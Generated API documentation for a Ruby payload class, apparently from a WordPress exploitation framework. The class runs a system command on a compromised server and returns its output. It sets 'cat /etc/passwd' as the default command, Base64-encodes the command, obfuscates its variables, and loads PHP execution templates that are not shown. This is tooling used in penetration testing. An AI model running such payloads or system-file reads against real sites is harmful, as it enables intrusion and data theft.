Class: Wpxf::Payloads::Exec

Inherits:
Wpxf::Payload show all
Includes:
Wpxf, Options
Defined in:
lib/wpxf/payloads/exec.rb

Overview

Executes a system command and returns the output.

Instance Attribute Summary

Attributes included from Options

#datastore, #options

Attributes inherited from Wpxf::Payload

#queued_commands

Instance Method Summary collapse

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Wpxf::Payload

#check, #cleanup, #encoded, #enqueue_command, #escape_single_quotes, #generate_vars, #php_preamble, #post_exploit, #prepare, #random_var_name

Constructor Details

#initialize ⇒ Exec

Returns a new instance of Exec.



11
12
13
14
15
16
17
18
19
20
21
22
 
# File 'lib/wpxf/payloads/exec.rb', line 11

def initialize
  super

  register_options([
    StringOption.new(
      name: 'cmd',
      required: true,
      default: 'cat /etc/passwd',
      desc: 'Command to run'
    )
  ])
end

Instance Method Details

#constants ⇒ Object 



28
29
30
31
32
 
# File 'lib/wpxf/payloads/exec.rb', line 28

def constants
  {
    'cmd' => encoded_cmd
  }
end

#encoded_cmd ⇒ Object 



24
25
26
 
# File 'lib/wpxf/payloads/exec.rb', line 24

def encoded_cmd
  Base64.strict_encode64(datastore['cmd'])
end

#obfuscated_variables ⇒ Object 



34
35
36
 
# File 'lib/wpxf/payloads/exec.rb', line 34

def obfuscated_variables
  super + ['cmd']
end

#raw ⇒ Object 



38
39
40
41
 
# File 'lib/wpxf/payloads/exec.rb', line 38

def raw
  "#{DataFile.new('php', 'exec_methods.php').php_content}"\
  "#{DataFile.new('php', 'exec.php').php_content}"
end